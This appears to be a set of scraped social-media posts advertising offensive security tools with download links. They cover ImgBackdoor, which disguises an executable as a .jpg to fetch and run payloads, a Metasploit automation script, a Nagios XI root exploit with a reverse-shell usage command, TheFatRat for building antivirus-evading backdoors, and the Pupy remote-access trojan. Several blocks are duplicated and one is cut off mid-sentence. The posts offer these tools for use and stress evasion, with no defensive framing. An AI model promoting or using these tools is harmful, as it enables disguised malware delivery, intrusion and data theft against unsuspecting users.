#ImgBackdoor:-- #Hide your #payload into .jpg file.

This #module takes one existing image.jpg and one payload.ps1 (input by the user) and
builds a new payload (agent.jpg.exe) that if executed it will trigger the download of
the 2 previous files stored into apache2 (image.jpg + payload.ps1) and execute them.

This module also changes the agent.exe Icon to match one file.jpg Then uses the spoof
'Hide #extensions for known file types' method to hide the agent.exe extension.

All payloads (user input) will be downloaded from our #apache2 #webserver
and #executed into target #RAM. The only extension (payload input by the user)
that requires to write the payload to disk are .exe binaries.

#Download #Link:-

https://github.com/kennedy69/ImgBackdoor


#ImgBackdoor:-- #Hide your #payload into .jpg file.

This #module takes one existing image.jpg and one payload.ps1 (input by the user) and
builds a new payload (agent.jpg.exe) that if executed it will trigger the download of
the 2 previous files stored into apache2 (image.jpg + payload.ps1) and execute them.

This module also changes the agent.exe Icon to match one file.jpg Then uses the spoof
'Hide #extensions for known file types' method to hide the agent.exe extension.

All payloads (user input) will be downloaded from our #apache2 #webserver
and #executed into target #RAM. The only extension (payload input by the user)
that requires to write the payload to disk are .exe binaries.

#Download #Link:-

https://github.com/kennedy69/ImgBackdoor

Photos from National Cyber Security Services's post


AutoXploit:-- Fast #exploitation based on #metasploit.

Auto #Payload Generator & #Exploiter

#AutoXploit is simply a shell script that helps you to generate Metasploit payloads and starts the #meterpreter handler quickly. At times, #security #researchers have to generate payloads and listen to the connection through handler constantly, AutoXploit not only allows you to quickly generate payloads but it also has an option to start the handler automatically.

#Download #Link:-

https://github.com/Yashvendra/AutoXploit

nagiosxi-root-exploit:-- #POC which #exploits a #vulnerability within #Nagios XI (5.6.5) to #spawn a #root #shell

A vulnerability exists in Nagios XI <= 5.6.5 allowing an attacker to leverage an RCE to #escalate #privileges to root.
The exploit requires access to the server as the 'nagios' user, or CCM access via the web interface with permissions to manage #plugins.

A #PHP POC has been developed which #uploads a #payload resulting in a #reverse root shell.

#Usage:
php privesc.php --host=example.com --ssl=[true/false] --user=username --pass=password --reverseip=ip --reverseport=port

#Download #Link:-

https://github.com/jakgibb/nagiosxi-root-rce-exploit


nagiosxi-root-exploit:-- #POC which #exploits a #vulnerability within #Nagios XI (5.6.5) to #spawn a #root #shell

A vulnerability exists in Nagios XI

Photos from National Cyber Security Services's post


TheFatRat:-- Updated new version

#TheFatrat a massive #exploiting tool!

Easy tool to generate #backdoor and easy tool to post-exploitation attacks like #browser attack and etc. This tool compiles a #malware with popular #payload and then the compiled malware can be executed on #windows, #android, #mac. The malware that created with this tool also has an ability to #bypass most #AV #software.

Features:-
1. Fully Automating #MSFvenom & #Metasploit.
2. Local or remote listener Generation.
3. Easily Make Backdoor by category Operating System.
4. Generate #payloads in Various formats.
5. Bypass anti-virus backdoors.
6. File pumper that you can use for increasing the size of your files.
7. The ability to detect external #IP & Interface address.
8. Automatically creates AutoRun files for #USB / CDROM exploitation.

#Download #Link:-

https://github.com/Screetsec/TheFatRat

Pupy:-- #Pupy is an #opensource, #cross-platform (#Windows, #Linux, #OSX, #Android) #remote #administration and #post-#exploitation tool mainly written in #python.

Pupy is a cross-platform, multi-function #RAT and post-exploitation tool mainly written in python. It features an all-in-memory execution guideline and leaves a very low footprint. Pupy can communicate using multiple modes of #transport, migrate into #processes using reflective #injection, and load remote python code, python packages and python C-extensions from #memory.

Features:-

1. Windows #payload can load the entire Python #interpreter from memory using a reflective #DLL.
2. Can be packed into a single .py file and run without any dependencies other than the python standard library on all OSes.
3. Reflectively migrate into other processes.
4. Easily extensible, modules are simple to write and are sorted by os and category.
5. Modules can directly access python objects on the remote client using rpyc.
6. Access remote objects interactively from the pupy shell and get auto-completion of remote attributes.
7. Communication transports are modular and stackable. Exfiltrate data using #HTTP over HTTP over #AES over #XOR, or any combination of the available transports.
8. Communicate using obfsproxy pluggable transports.
9. Execute non-interactive commands on multiple hosts at once.
10. Commands and scripts running on remote hosts are interruptible.
11. Auto-completion for #commands and arguments.
12. Custom config can be defined: command aliases, modules. automatically run at connection, etc.
13. Open interactive python shells with auto-completion on the all-in-memory remote python interpreter.
14. Interactive shells (cmd.exe, /bin/bash, etc) can be opened remotely.
15. Remotely import pure python packages (.py, .pyc) and compiled python C extensions (.pyd, .so) from memory.
16. Execute the PE executable remotely and from memory.
17. Generate payloads in various formats:

#Download #Link:--

https://github.com/n1nj4sec/pupy


Pupy:-- #Pupy is an #opensource, #cross-platform (#Windows, #Linux, #OSX, #Android) #remote #administration and #post-#exploitation tool mainly written in #python.

Pupy is a cross-platform, multi-function #RAT and post-exploitation tool mainly written in python. It features an all-in-memory execution guideline and leaves a very low footprint. Pupy can communicate using multiple modes of #transport, migrate into #processes using reflective #injection, and load remote python code, python packages and python C-extensions from #memory.

Features:-

1. Windows #payload can load the entire Python #interpreter from memory using a reflective #DLL.
2. Can be packed into a single .py file and run without any dependencies other than the python standard library on all OSes.
3. Reflectively migrate into other processes.
4. Easily extensible, modules are simple to write and are sorted by os and category.
5. Modules can directly access python objects on the remote client using rpyc.
6. Access remote objects interactively from the pupy shell and get auto-completion of remote attributes.
7. Communication transports are modular and stackable. Exfiltrate data using #HTTP over HTTP over #AES over #XOR, or any combination of the available transports.
8. Communicate using obfsproxy pluggable transports.
9. Execute non-interactive commands on multiple hosts at once.
10. Commands and scripts running on remote hosts are interruptible.
11. Auto-completion for #commands and arguments.
12. Custom config can be defined: command aliases, modules. automatically run at connection, etc.
13. Open interactive python shells with auto-completion on the all-in-memory remote python interpreter.
14. Interactive shells (cmd.exe, /bin/bash, etc) can be opened remotely.
15. Remotely import pure python packages (.py, .pyc) and compiled python C extensions (.pyd, .so) from memory.
16. Execute the PE executable remotely and from memory.
17. Generate payloads in various formats: